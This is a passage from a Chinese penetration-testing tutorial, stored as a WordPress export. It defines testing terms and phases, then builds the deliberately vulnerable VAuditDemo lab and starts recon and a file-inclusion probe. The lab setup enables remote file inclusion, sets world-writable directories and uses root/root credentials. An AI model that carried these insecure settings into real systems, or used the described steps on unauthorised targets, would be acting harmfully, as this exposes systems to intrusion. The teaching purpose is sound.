{"id":53808,"date":"2025-08-12T17:10:20","date_gmt":"2025-08-12T09:10:20","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/53808.html"},"modified":"2025-08-12T17:10:20","modified_gmt":"2025-08-12T09:10:20","slug":"%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95%e6%96%b0%e6%89%8b%e5%bf%85%e7%9c%8b%ef%bc%9aweb%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95%e4%b8%8e%e9%bb%91%e5%ae%a2%e5%85%a5%e4%be%b5%e7%9a%84%e6%9c%80","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/53808.html","title":{"rendered":"\u200c\u6e17\u900f\u6d4b\u8bd5\u65b0\u624b\u5fc5\u770b\uff1aWeb\u6e17\u900f\u6d4b\u8bd5\u4e0e\u9ed1\u5ba2\u5165\u4fb5\u7684\u6700\u5927\u5dee\u5f02\u662f\u4ec0\u4e48\uff1f"},"content":{"rendered":"<h3>\u4e00\u3001\u6e17\u900f\u6d4b\u8bd5\u6982\u5ff5<\/h3>\n<p>\u5199\u5728\u5f00\u59cb&#xff1a;\u8fdb\u884cweb\u6e17\u900f\u6d4b\u8bd5\u4e4b\u524d&#xff0c;\u52a1\u5fc5\u83b7\u5f97\u6d4b\u8bd5\u76ee\u6807\u62e5\u6709\u8005\u6216\u7ec4\u7ec7\u7684\u4e66\u9762\u6388\u6743&#xff0c;\u660e\u786e\u6e17\u900f\u6d4b\u8bd5\u7684\u8303\u56f4\u3002\u5728\u6388\u6743\u8303\u56f4\u5185\u8fdb\u884c\u6e17\u900f\u6d4b\u8bd5&#xff0c;\u6d4b\u8bd5\u7ed3\u675f\u4e4b\u540e&#xff0c;\u52a1\u5fc5\u6e05\u9664\u6e17\u900f\u6d4b\u8bd5\u7559\u4e0b\u7684\u75d5\u8ff9&#xff0c;\u5305\u62ec\u8bbf\u95ee\u65e5\u5fd7\u3001\u4e8b\u4ef6\u8bb0\u5f55\u3001\u4e0a\u4f20\u7684shell\u811a\u672c\u3001\u521b\u5efa\u7684\u5f71\u5b50\u8d26\u6237\u7b49\u7b49\u3002<\/p>\n<p>\u6e17\u900f\u6d4b\u8bd5&#xff0c;\u5e76\u6ca1\u6709\u4e00\u4e2a\u6807\u51c6\u7684\u5b9a\u4e49&#xff0c;\u4f46\u901a\u5e38\u88ab\u89e3\u91ca\u4e3a\u4e00\u79cd\u8bc4\u4f30\u8ba1\u7b97\u673a\u7f51\u7edc\u7cfb\u7edf\u5b89\u5168\u7684\u65b9\u6cd5\u3002\u8fd9\u4e2a\u8fc7\u7a0b\u6a21\u62df\u6076\u610f\u9ed1\u5ba2\u7684\u653b\u51fb\u65b9\u5f0f&#xff0c;\u4ee5\u5bfb\u627e\u5e76\u5229\u7528\u7cfb\u7edf\u4e2d\u7684\u5b89\u5168\u6f0f\u6d1e\u3002\u6e17\u900f\u6d4b\u8bd5\u65e8\u5728\u6316\u6398\u76ee\u6807\u7cfb\u7edf\u7684\u5b89\u5168\u6f0f\u6d1e&#xff0c;\u53d6\u5f97\u7cfb\u7edf\u7684\u63a7\u5236\u6743&#xff0c;\u8bbf\u95ee\u7cfb\u7edf\u7684\u673a\u5bc6\u6570\u636e&#xff0c;\u5e76\u53d1\u73b0\u53ef\u80fd\u5f71\u54cd\u4e1a\u52a1\u6301\u7eed\u8fd0\u4f5c\u7684\u5b89\u5168\u9690\u60a3\u3002<\/p>\n<p>\u6e17\u900f\u6d4b\u8bd5\u4e0e\u9ed1\u5ba2\u5165\u4fb5\u7684\u6700\u5927\u533a\u522b\u5728\u4e8e\u5176\u8fdb\u884c\u65b9\u5f0f\u3002\u6e17\u900f\u6d4b\u8bd5\u662f\u7ecf\u8fc7\u5ba2\u6237\u6388\u6743&#xff0c;\u91c7\u7528\u53ef\u63a7\u5236\u3001\u975e\u7834\u574f\u6027\u8d28\u7684\u65b9\u6cd5\u548c\u624b\u6bb5\u5bf9\u76ee\u6807\u548c\u7f51\u7edc\u8bbe\u5907\u8fdb\u884c\u68c0\u6d4b\u3002\u8fd9\u4e0d\u4ec5\u80fd\u5e2e\u52a9\u7ba1\u7406\u8005\u4e86\u89e3\u4ed6\u4eec\u7f51\u7edc\u6240\u9762\u4e34\u7684\u95ee\u9898&#xff0c;\u8fd8\u80fd\u63d0\u4f9b\u9488\u5bf9\u8fd9\u4e9b\u95ee\u9898\u7684\u5b89\u5168\u52a0\u56fa\u5efa\u8bae&#xff0c;\u4ece\u800c\u5e2e\u52a9\u5ba2\u6237\u63d0\u5347\u7cfb\u7edf\u7684\u5b89\u5168\u6027\u3002<\/p>\n<p>\u6e17\u900f\u6d4b\u8bd5\u6309\u7167\u8f6f\u4ef6\u6d4b\u8bd5\u7684\u7406\u5ff5\u5206\u4e3a\u4e09\u79cd\u7c7b\u578b&#xff1a;\u767d\u76d2\u6d4b\u8bd5\u3001\u9ed1\u76d2\u6d4b\u8bd5\u3001\u7070\u76d2\u6d4b\u8bd5\u3002\u5176\u4e2d\u767d\u76d2\u6d4b\u8bd5\u662f\u57fa\u4e8e\u4ee3\u7801\u5ba1\u67e5&#xff0c;\u518d\u7ed3\u5408\u6f0f\u6d1e\u626b\u63cf\u7b49\u6280\u672f\u8fdb\u884c&#xff0c;\u9ed1\u76d2\u6d4b\u8bd5\u5728\u4e1a\u5185\u4e5f\u79f0\u4e3a\u76f2\u6d4b&#xff0c;\u9664\u4e86\u6709\u6d4b\u8bd5\u8303\u56f4\u4e4b\u5916&#xff0c;\u5176\u4ed6\u5168\u90e8\u6a21\u62df\u9ed1\u5ba2\u653b\u51fb\u7684\u8fc7\u7a0b\u8fdb\u884c\u64cd\u4f5c&#xff0c;\u7070\u76d2\u6d4b\u8bd5\u662f\u7ed3\u5408\u767d\u76d2\u6d4b\u8bd5\u7684\u4ee3\u7801\u5ba1\u8ba1\u3001\u9ed1\u76d2\u6d4b\u8bd5\u7684\u653b\u51fb\u7b56\u7565\u548c\u6280\u672f\u7684\u4e00\u79cd\u6298\u4e2d\u7c7b\u578b\u3002\u767d\u76d2\u6d4b\u8bd5\u7684\u56e0\u4e3a\u62e5\u6709\u76ee\u6807\u6240\u6709\u5185\u90e8\u4e0e\u5e95\u5c42\u7684\u77e5\u8bc6&#xff0c;\u56e0\u6b64\u53ef\u4ee5\u7528\u6700\u5c0f\u7684\u4ee3\u4ef7\u53d1\u73b0\u66f4\u591a\u4e25\u91cd\u7684\u9690\u85cf\u7684\u6f0f\u6d1e\u3002\u9ed1\u76d2\u6d4b\u8bd5\u56e0\u4e3a\u662f\u76f2\u6d4b&#xff0c;\u56e0\u6b64\u9700\u8981\u4f9d\u8d56\u8f83\u9ad8\u7684\u6280\u672f\u80fd\u529b&#xff0c;\u653b\u51fb\u65b9\u5f0f\u4e5f\u53d8\u5f97\u591a\u6837\u6027&#xff0c;\u4ece\u800c\u53ef\u4ee5\u66f4\u5b8c\u6574\u7684\u8bc4\u4f30\u76ee\u6807\u7684\u5b89\u5168\u98ce\u9669&#xff0c;\u4e5f\u53ef\u4ee5\u68c0\u6d4b\u5230\u76ee\u6807\u56e2\u961f\u7684\u5e94\u6025\u80fd\u529b\u3002\u7070\u76d2\u6d4b\u8bd5\u96c6\u4e24\u8005\u4e4b\u957f&#xff0c;\u65e2\u80fd\u5feb\u901f\u5168\u9762\u68c0\u6d4b\u51fa\u6f0f\u6d1e&#xff0c;\u540c\u65f6\u8fd8\u5177\u5907\u4e86\u66f4\u5b8c\u6574\u7684\u5b89\u5168\u98ce\u9669\u8bc4\u4f30\u80fd\u529b\u3002<\/p>\n<h4>\u5b89\u5168\u6f0f\u6d1e\u751f\u547d\u5468\u671f\u5212\u5206<\/h4>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/08\/20250812091014-689b04f667c93.png\" alt=\"\" \/><\/p>\n<p>\u5b89\u5168\u6f0f\u6d1e\u88ab\u53d1\u73b0\u5230\u5176\u6d88\u4ea1\u7684\u8fc7\u7a0b\u88ab\u5212\u5206\u4e3a7\u4e2a\u6b65\u9aa4&#xff0c;\u5176\u4e2d\u5305\u542b\u7684\u6982\u5ff5\u5982\u4e0b&#xff1a;<\/p>\n<p>\u00b7Exploit&#xff1a;\u7b80\u79f0EXP&#xff0c;\u5229\u7528\u5b89\u5168\u6f0f\u6d1e\u9020\u6210\u5165\u4fb5\u6216\u7834\u574f\u7684\u6e17\u900f\u4ee3\u7801&#xff0c;\u53c8\u53eb\u6f0f\u6d1e\u5229\u7528\u4ee3\u7801<\/p>\n<p>\u00b7POC&#xff1a;Proof of Concept&#xff1a;\u6982\u5ff5\u9a8c\u8bc1&#xff0c;\u53ea\u662f\u9a8c\u8bc1\u6f0f\u6d1e\u7684\u5b58\u5728&#xff0c;\u5e76\u4e0d\u4f1a\u5229\u7528\u8be5\u6f0f\u6d1e\u8fdb\u884c\u5165\u4fb5\u3002<\/p>\n<p>\u00b7Exploit&#xff1a;EXP&#xff1a;\u53d1\u73b0\u6f0f\u6d1e\u540e&#xff0c;\u4f7f\u7528\u6076\u610f\u4ee3\u7801\u6216\u6076\u610f\u6307\u4ee4\u8fdb\u884c\u6f0f\u6d1e\u7684\u5229\u7528\u548c\u5165\u4fb5\u3002<\/p>\n<p>\u00b70 Day&#xff1a;\u7b2c\u4e00\u4e2a\u53d1\u73b0\u7684\u6f0f\u6d1e&#xff0c;\u540c\u65f6\u5b98\u65b9\u8fd8\u6ca1\u6709\u53d1\u5e03\u8865\u4e01&#xff0c;\u4e5f\u672a\u516c\u5f00\u8be5\u6f0f\u6d1e&#xff0c;\u6f0f\u6d1e\u5904\u4e8e\u53ef\u5229\u7528\u9636\u6bb5\u3002<\/p>\n<p>\u00b7RCE&#xff1a;Remote Code\/Command Execution\u8fdc\u7a0b\u4ee3\u7801\/\u547d\u4ee4\u6267\u884c\u3002<\/p>\n<p>\u00b7SRC&#xff1a;\u5b89\u5168\u5e94\u6025\u54cd\u5e94\u4e2d\u5fc3Security Emergency Response Center\u3002<\/p>\n<hr \/>\n<h3>\u4e8c\u3001web\u6e17\u900f\u6d4b\u8bd5\u7684\u6b65\u9aa4<\/h3>\n<p>\u6e17\u900f\u6d4b\u8bd5\u6b65\u9aa4\u5206\u4e3a\u524d\u671f\u4ea4\u4e92\u3001\u60c5\u62a5\u6536\u96c6\u3001\u6c47\u603b\u5206\u6790\u3001\u6e17\u900f\u653b\u51fb\u3001\u540e\u6e17\u900f\u653b\u51fb\u3001\u62a5\u544a\u63d0\u4ea4\u7b49\u516d\u4e2a\u9636\u6bb5<\/p>\n<p>1\u3001\u524d\u671f\u4ea4\u4e92&#xff1a; \u8fd9\u4e2a\u9636\u6bb5\u4e3b\u8981\u662f\u548c\u59d4\u6258\u65b9\u8fdb\u884c\u5546\u8ba8\u6d3d\u8c08\u3001\u83b7\u53d6\u4e66\u9762\u6388\u6743\u3001\u6d4b\u8bd5\u8303\u56f4\u7684\u786e\u5b9a\u7b49\u5de5\u4f5c<\/p>\n<p>2\u3001\u60c5\u62a5\u641c\u96c6&#xff1a; \u5728\u83b7\u5f97\u6388\u6743\u7684\u57fa\u7840\u4e0a&#xff0c;\u5bf9\u6d4b\u8bd5\u76ee\u6807\u8fdb\u884c\u76f8\u5e94\u7684\u60c5\u62a5\u6536\u96c6&#xff0c;\u5305\u62ec\u7f51\u7edc\u57fa\u672c\u914d\u7f6e\u3001\u57df\u540d\u3001\u4eba\u5458\u6743\u9650\u5212\u5206\u3001\u66b4\u9732\u7684\u7aef\u53e3\u3001\u7cfb\u7edf\u5165\u53e3\u3001web\u540e\u53f0\u5165\u53e3\u7b49<\/p>\n<p>3\u3001\u6c47\u603b\u5206\u6790&#xff1a; \u8be5\u9636\u6bb5\u57fa\u4e8e\u4e0a\u4e00\u6b65\u9aa4\u3001\u5bf9\u6240\u6709\u6536\u96c6\u7684\u4fe1\u606f\u8fdb\u884c\u6c47\u603b\u6574\u7406\u3001\u4ece\u4e2d\u627e\u51fa\u5408\u9002\u7684\u6e17\u900f\u65b9\u5411\u3001\u7b56\u7565&#xff0c;\u9009\u5b9a\u5408\u9002\u7684\u5de5\u5177\u4ee5\u53ca\u4eba\u5458\u5206\u5de5<\/p>\n<p>4\u3001\u6e17\u900f\u653b\u51fb&#xff1a; \u5f00\u59cb\u8fdb\u884c\u6f0f\u6d1e\u6316\u6398\u3001\u626b\u63cf\u3001\u627e\u51fa\u53ef\u7528\u7684\u8f7d\u8377&#xff08;payload&#xff09;&#xff0c;\u8fdb\u884c\u6f0f\u6d1e\u5229\u7528<\/p>\n<p>5\u3001\u540e\u6e17\u900f\u653b\u51fb&#xff1a; getshell\u3001\u4e0a\u4f20\u6728\u9a6c\u3001\u4fee\u8865\u6f0f\u6d1e\u3001\u6e05\u9664\u75d5\u8ff9\u548c\u811a\u672c<\/p>\n<p>6\u3001\u62a5\u544a\u7f16\u5199&#xff1a; \u5c06\u6240\u6709\u627e\u5230\u7684\u5b89\u5168\u6f0f\u6d1e\u6c47\u603b\u4e3a\u4e00\u4efd\u6e17\u900f\u6d4b\u8bd5\u62a5\u544a&#xff0c;\u63d0\u4ea4\u7ed9\u59d4\u6258\u65b9&#xff0c;\u5b8c\u6210\u6e17\u900f\u4efb\u52a1\u3002<\/p>\n<p>\u672c\u6587\u5c06\u4f9d\u636e\u4ee5\u4e0a\u7684\u6b65\u9aa4\u4ee5\u4e00\u4e2aweb\u9776\u573a\u4e3a\u4f8b&#xff0c;\u9610\u8ff0web\u6e17\u900f\u6d4b\u8bd5\u57fa\u672c\u6d41\u7a0b\u548c\u6ce8\u610f\u4e8b\u9879\u3002<\/p>\n<h3>\u4e09\u3001\u9776\u573a\u90e8\u7f72<\/h3>\n<p>\u670d\u52a1\u5668\u914d\u7f6e&#xff1a;<\/p>\n<p>\u64cd\u4f5c\u7cfb\u7edfCentOS7\u30012\u6838CPU\u30012G\u5185\u5b58\u300130G\u78c1\u76d8\u3001\u7f51\u7edc\u53ef\u4ee5\u8bbf\u95ee&#xff0c;IP&#xff1a;192.168.211.132&#xff0c;\u90e8\u7f72xampp&#xff0c;vaudit<\/p>\n<p>\u5ba2\u6237\u7aef\u914d\u7f6e<\/p>\n<p>\u4e3b\u673a\u64cd\u4f5c\u7cfb\u7edfwindows11&#xff0c;IP&#xff1a;192.168.1.5<\/p>\n<p>\u6e17\u900f\u673aCentOS7&#xff0c;IP&#xff1a;192.168.211.129&#xff0c;\u90e8\u7f72xampp&#xff0c;\u5b58\u50a8\u653b\u51fb\u7528\u7684shell<\/p>\n<p>\u9776\u573a\u642d\u5efa\u8fc7\u7a0b<\/p>\n<p>\u4ecegitee\u4e0a\u9762\u4e0b\u8f7d\u7684\u4e00\u4e2a\u5f00\u6e90\u8f6f\u4ef6vaudit&#xff0c;\u4e0b\u8f7d\u5730\u5740&#xff1a;https:\/\/github.com\/1stPeak\/VAuditDemo\u4f5c\u8005\u662fVirink\u3002<\/p>\n<p>1\u3001\u5148\u5728CentOS\u4e0a\u9762\u5b89\u88c5\u4e00\u4e2axampp5.6\u7248\u672c&#xff0c;<\/p>\n<p>2\u3001\u4f7f\u7528\u6dfb\u52a0VHosts\u548c\u7aef\u53e3\u7684\u65b9\u5f0f\u90e8\u7f72vaudit<\/p>\n<p>\u5728lampp\/etc\/extra\u76ee\u5f55\u4e0b\u9762&#xff0c;\u901a\u8fc7\u6dfb\u52a0\u65b0\u7684vhosts\u865a\u62df\u4e3b\u673a\u7684\u65b9\u5f0f\u6765\u8fdb\u884c\u5904\u7406&#xff0c;\u53ea\u9700\u8981\u4fee\u6539\u4e24\u4e2a\u914d\u7f6e\u6587\u4ef6\u5373\u53ef\u3002<\/p>\n<p>&#xff08;1&#xff09;\u4fee\u6539\/opt\/lampp\/etc\/httpd.conf&#xff0c;\u6dfb\u52a0\u76d1\u542c\u7aef\u53e3&#xff0c;\u5e76\u4e14\u5305\u542bhttpd-vhosts.conf\u6587\u4ef6\u3002<\/p>\n<p>Listen 80#\u9ed8\u8ba4\u7aef\u53e3<\/p>\n<p>Listen 81#VAudit\u7aef\u53e3<\/p>\n<p>Listen 82#\u9884\u7559\u7aef\u53e3<\/p>\n<p>Include etc\/extra\/httpd-vhosts.conf?#\u53d6\u6d88\u524d\u9762\u7684#\u53f7\u6ce8\u91ca<\/p>\n<p>&#xff08;2&#xff09;\u4fee\u6539\/opt\/lampp\/etc\/extra\/httpd-vhosts.conf<\/p>\n<p>#\u5148\u6ce8\u91ca\u6389\u5176\u4ed6\u5df2\u6709\u7684*:80\u7684\u6a21\u677f\u5185\u5bb9&#xff0c;\u589e\u52a0\u4ee5\u4e0b\u5185\u5bb9<\/p>\n<p>&lt;VirtualHost*:81&gt;<\/p>\n<p>ServerName localhost<\/p>\n<p>DocumentRoot&#034;\/opt\/lampp\/htdocs\/vaudit&#034;<\/p>\n<p>&#xff08;3&#xff09;\u4fee\u6539\u57fa\u672c\u914d\u7f6e<\/p>\n<p>\u4f7f\u7528\u7f51\u7ad9\u7ba1\u7406\u4e2d\u7684php\u914d\u7f6e&#xff0c;\u5c06allow_url_include\u8bbe\u7f6e\u4e3aOn&#xff0c;\u4e5f\u5c31\u662f\u9700\u8981\u4f7f\u7528\u5230\u8fdc\u7a0b\u6587\u4ef6\u5305\u542b\u529f\u80fd\u3002<\/p>\n<p>\u5982\u679cxampp\u542f\u52a8\u5931\u8d25&#xff0c;\u9700\u8981\u5728lampp\u7684\u542f\u52a8\u7a0b\u5e8flampp\u4e2d\u627e\u52302.2.0&#xff0c;\u4fee\u6539\u4e3a2.8.0&#xff0c;\u5982\u4e0b\u4f4d\u7f6e&#xff1a;<\/p>\n<p>export LD_ASSUME_KERNEL&#061;2.8.0<\/p>\n<p>&#xff08;4&#xff09;\u63a5\u4e0b\u6765\u4fee\u6539\u5e76\u4e14\u914d\u7f6e\u6570\u636e\u5e93\u8fde\u63a5&#xff0c;\u4f7f\u7528vi\u6253\u5f00\/opt\/lampp\/htdocs\/vaudit\/sys\u76ee\u5f55\u4e0b\u9762\u7684config.php\u6587\u4ef6<\/p>\n<p>&lt;?php<\/p>\n<p>error\\\\_reporting(0);<\/p>\n<p>if(!file\\\\_exists($\\\\_SERVER\\\\[&#034;DOCUMENT\\\\_ROOT&#034;\\\\].&#039;\/sys\/install.lock&#039;)){<\/p>\n<p>header(&#034;Location:\/install\/install.php&#034;);<\/p>\n<p>exit;<\/p>\n<p>}<\/p>\n<p>\/\/\u6ce8\u610f\u8fd9\u884c\u4ee3\u7801&#xff0c;\u662f\u4e00\u4e2a\u529f\u80fdbug&#xff0c;\u4e0b\u9762\u8fd9\u884c\u662f\u539f\u6587&#xff0c;\u9700\u8981\u5220\u6389\u8def\u5f84\u4e2d..\/sys\/,\u5426\u5219\u7559\u8a00\u677f\u529f\u80fd\u5931\u6548\u3002<\/p>\n<p>\/\/include\\\\_once&#039;..\/sys\/lib.php&#039;;<\/p>\n<p>include\\\\_once&#039;lib.php&#039;;<\/p>\n<p>\/\/\u4e0b\u9762\u4e3a\u6570\u636e\u5e93\u7684\u8fde\u63a5\u8bbe\u7f6e&#xff0c;\u9ed8\u8ba4\u5b89\u88c5\u662f\u4e0d\u7528\u4fee\u6539\u7684<\/p>\n<p>$host&#061;&#034;localhost&#034;;<\/p>\n<p>$username&#061;&#034;root&#034;;<\/p>\n<p>$password&#061;&#034;root&#034;;<\/p>\n<p>$database&#061;&#034;vauditdemo&#034;;<\/p>\n<p>$conn&#061;mysql\\\\_connect($host,$username,$password);<\/p>\n<p>mysql\\\\_query(&#039;set names utf8&#039;,$conn);<\/p>\n<p>mysql\\\\_select\\\\_db($database,$conn)or die(mysql\\\\_error());<\/p>\n<p>if(!$conn){<\/p>\n<p>die(&#039;Could not connect:&#039;.mysql\\\\_error());<\/p>\n<p>exit;<\/p>\n<p>}<\/p>\n<p>session\\\\_start();<\/p>\n<p>?&gt;<\/p>\n<p>\u5b8c\u6210\u4e0a\u8ff0\u6b65\u9aa4\u4e4b\u540e&#xff0c;\u5728\u6d4f\u89c8\u5668\u4e2d\u8f93\u5165http:\/\/192.168.211.132:81\/\u770b\u5230VAuditDemo\u5b89\u88c5\u754c\u9762&#xff1a;<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/08\/20250812091014-689b04f67fa8c.png\" alt=\"\" \/><\/p>\n<p>\u53ef\u4ee5\u770b\u51fa\u6709\u4e24\u4e2a\u76ee\u5f55\u6ca1\u6709\u5199\u6743\u9650&#xff0c;\u9700\u8981sys\u548cuploads\u8fdb\u884c\u8d4b\u6743,\u5728\/www\/admin\/localhost_80\/wwwroot\u4e0b\u9762\u6267\u884c\u4e0b\u9762\u7684\u547d\u4ee4&#xff0c;\u8fd9\u91cc\u53ea\u9700\u8981\u7ed9other\u8d4b\u4e88\u5199\u5165\u6743\u9650\u5373\u53ef\u3002<\/p>\n<p>chmod o&#043;w sys uploads<\/p>\n<p>\u7136\u540e\u5237\u65b0\u6d4f\u89c8\u5668&#xff0c;\u73b0\u5728\u770b\u5230\u53ef\u4ee5\u5b89\u88c5\u4e86&#xff1a;<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/08\/20250812091014-689b04f69b2a9.png\" alt=\"\" \/><\/p>\n<p>\u70b9\u51fb\u5b89\u88c5&#xff0c;\u770b\u5230\u5982\u4e0b\u63d0\u793a&#xff0c;\u8868\u793a\u5b8c\u6210\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/08\/20250812091014-689b04f6c1746.png\" alt=\"\" \/><\/p>\n<p>\u70b9\u51fb\u786e\u5b9a\u4e4b\u540e&#xff0c;\u8fdb\u5165\u5230vaudit\u7684\u4e3b\u9875\u9762\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/08\/20250812091015-689b04f7116e8.png\" alt=\"\" \/><\/p>\n<h3>\u56db\u3001\u4fe1\u606f\u91c7\u96c6<\/h3>\n<p>\u73b0\u5728\u6211\u4eec\u9700\u8981\u719f\u6089\u8fd9\u4e2a\u8f6f\u4ef6\u7cfb\u7edf\u7684\u57fa\u672c\u529f\u80fd&#xff0c;\u8ddf\u8e2a\u548c\u76d1\u63a7web\u9875\u9762\u4e0a\u7684\u5404\u4e2a\u63a5\u53e3\u53ca\u4ea4\u4e92\u7684\u6570\u636e&#xff0c;\u8fd9\u91cc\u9700\u8981\u4f7f\u7528\u5230\u4e00\u4e9b\u5de5\u5177&#xff1a;sqlmap\u3001burp suite\u3001\u5fa1\u5251\u540e\u53f0\u626b\u63cf\u5de5\u5177\u3001\u5e26hackbar\u7684firefox\u6d4f\u89c8\u5668\u7b49\u3002<\/p>\n<p>\u5148\u6ce8\u518c\u4e00\u4e2a\u7528\u6237tester&#xff0c;\u7136\u540e\u4f7f\u7528tester\u8fdb\u5165&#xff0c;\u5f00\u542f\u5bf9\u7cfb\u7edf\u7684\u4f7f\u7528\u4e4b\u65c5&#xff0c;\u901a\u8fc7\u4f7f\u7528\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0&#xff0c;\u6ce8\u518c\u666e\u901a\u7528\u6237\u4e0d\u9700\u8981\u9a8c\u8bc1\u7801&#xff0c;\u666e\u901a\u7528\u6237\u4fee\u6539\u7528\u6237\u4fe1\u606f\u4e0d\u9700\u8981\u4e8c\u6b21\u9a8c\u8bc1&#xff0c;\u53ef\u4ee5\u4e0a\u4f20\u56fe\u5934\u50cf\u56fe\u7247&#xff0c;\u641c\u7d22\u63a5\u53e3&#xff0c;\u7559\u8a00&#xff0c;\u67e5\u770b\u7559\u8a00&#xff0c;\u5173\u4e8e\u9875\u9762\u7b49\u666e\u901a\u7528\u6237\u53ef\u4ee5\u70b9\u51fb\u6216\u4f7f\u7528\u7684\u529f\u80fd\u3002<\/p>\n<p>\u63a5\u4e0b\u6765\u4f7f\u7528\u5fa1\u5251\u540e\u53f0\u626b\u63cf\u5de5\u5177&#xff0c;\u5bf9\u7cfb\u7edf\u8fdb\u884c\u626b\u63cf<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/08\/20250812091015-689b04f730d11.png\" alt=\"\" \/><\/p>\n<p>\u901a\u8fc7\u626b\u63cf\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0&#xff0c;\u8be5\u76ee\u6807\u7ad9\u70b9\u5b58\u5728\u4e00\u4e2a\u540e\u53f0\u767b\u5f55\u7684\u9875\u9762&#xff0c;\u53ef\u4ee5\u8bd5\u8bd5\u770b\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/08\/20250812091015-689b04f76798a.png\" alt=\"\" \/><\/p>\n<p>\u8fd9\u91cc\u53ef\u4ee5\u770b\u51fa\u540e\u53f0\u767b\u5f55\u662f\u6709\u9a8c\u8bc1\u7801\u7684&#xff0c;\u770b\u6765\u6682\u65f6\u662f\u52a8\u4e0d\u4e86\u8fd9\u91cc\u3002\u4e0d\u8fc7\u4ece\u8fd9\u91cc\u6211\u4eec\u53ef\u4ee5\u770b\u51fa\u5df2\u7ecf\u6709\u597d\u591a\u4e2a\u63a5\u53e3\u6216\u529f\u80fd\u53ef\u4ee5\u63d0\u4f9b\u7ed9\u6211\u4eec\u9a8c\u8bc1\u4e86&#xff0c;\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u8fdb\u5165\u4e0b\u4e00\u4e2a\u73af\u8282&#xff0c;\u770b\u770b\u662f\u5426\u80fd\u591f\u627e\u5230\u4e00\u4e9b\u6e17\u900f\u7684\u5207\u5165\u70b9\u3002<\/p>\n<p>\u6211\u7ed9\u5927\u5bb6\u51c6\u5907\u4e86\u4e00\u4efd\u5168\u5957\u7684\u300a\u7f51\u7edc\u5b89\u5168\u5165\u95e8&#043;\u8fdb\u9636\u5b66\u4e60\u8d44\u6e90\u5305\u300b\u5305\u542b\u5404\u79cd\u5e38\u7528\u5de5\u5177\u548c\u9ed1\u5ba2\u6280\u672f\u7535\u5b50\u4e66\u4ee5\u53ca\u89c6\u9891\u6559\u7a0b&#xff0c;\u9700\u8981\u7684\u5c0f\u4f19\u4f34\u53ef\u4ee5\u626b\u63cf\u4e0b\u65b9\u4e8c\u7ef4\u7801\u6216\u94fe\u63a5\u514d\u8d39\u9886\u53d6~<br \/>\n<img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/08\/20250812091015-689b04f79cb92.png\" \/><\/p>\n<h3>\u4e94\u3001\u6982\u5ff5\u9a8c\u8bc1<\/h3>\n<p>\u9488\u5bf9\u4e00\u4e2aweb\u7cfb\u7edf&#xff0c;\u80fd\u591f\u4f7f\u7528\u7684\u6e17\u900f\u70b9\u4e3b\u8981\u5305\u62ec\u767b\u5f55\u5bc6\u7801\u7684\u66b4\u529b\u7834\u89e3\u3001SQL\u6ce8\u5165\u3001XSS\u6ce8\u5165\u3001CSRF\u3001\u6587\u4ef6\u5305\u542b\u7b49&#xff0c;\u5bf9\u4e8e\u666e\u901a\u7528\u6237\u8fdb\u884c\u66b4\u529b\u7834\u89e3\u6ca1\u6709\u5fc5\u8981&#xff0c;\u56e0\u4e3a\u6211\u4eec\u53ef\u4ee5\u81ea\u5df1\u6ce8\u518c\u4e00\u4e2a\u666e\u901a\u7528\u6237&#xff0c;\u8fd9\u91cc\u4e3b\u8981\u662f\u8003\u8651\u5982\u4f55\u80fd\u591f\u5207\u5165\u5230\u6570\u636e\u5e93\u6216\u8005\u5b58\u50a8\u578b\u7684XSS\u3001\u5982\u679c\u6709\u6587\u4ef6\u5305\u542b\u4e5f\u4e0d\u9519&#xff0c;\u53ef\u4ee5\u8fdb\u884c\u5229\u7528\u3002<\/p>\n<p>1\u3001\u7ecf\u8fc7\u53cd\u590d\u6d4b\u8bd5&#xff0c;\u53ef\u4ee5\u53d1\u73b0\u4e00\u4e2a\u6709\u610f\u601d\u7684\u5730\u65b9&#xff1a;http:\/\/192.168.211.128\/index.php?module&#061;about\u8fd9\u4e2a\u5730\u5740\u7684module\u7ffb\u8bd1\u8fc7\u6765\u4e3a\u6a21\u5757&#xff0c;\u800cabout\u6b63\u597d\u6307\u5411\u5173\u4e8e\u9875\u9762\u3002\u5c1d\u8bd5\u5c06about\u6539\u6210\u5176\u4ed6\u4efb\u610f\u7684\u5355\u8bcd&#xff0c;\u770b\u770b\u9875\u9762\u8fd4\u56de\u60c5\u51b5&#xff0c;\u5728\u8fd9\u4e2a\u8fc7\u7a0b\u4e2d\u53ef\u4ee5\u53d1\u73b0\u9875\u9762\u4e0d\u4f1a\u62a5\u9519&#xff0c;\u4f46\u662f\u4e5f\u6ca1\u6709\u76f8\u5e94\u7684\u63d0\u793a&#xff0c;\u90a3\u4e48\u8fd9\u91cc\u5e94\u8be5\u662f\u4e00\u4e2a\u6587\u4ef6\u5305\u542b\u7684\u7528\u6cd5&#xff0c;\u6ca1\u6709\u629b\u51fa\u9519\u8bef&#xff0c;\u4f30\u8ba1\u662f\u4ee3\u7801\u4e2d\u7ed9\u6587\u4ef6\u52a0\u4e86\u540e\u7f00&#xff0c;\u5e76\u4e14\u505a\u4e86\u5f02\u5e38\u63a7\u5236\u3002\u53ef\u4ee5\u521d\u6b65\u786e\u8ba4&#xff0c;\u8fd9\u91cc\u5b58\u5728\u4e00\u4e2a\u6587\u4ef6\u5305\u542b\u7684\u6f0f\u6d1e&#xff0c;\u9700\u8981\u8fdb\u4e00\u6b65\u9a8c\u8bc1\u3002<\/p>\n<p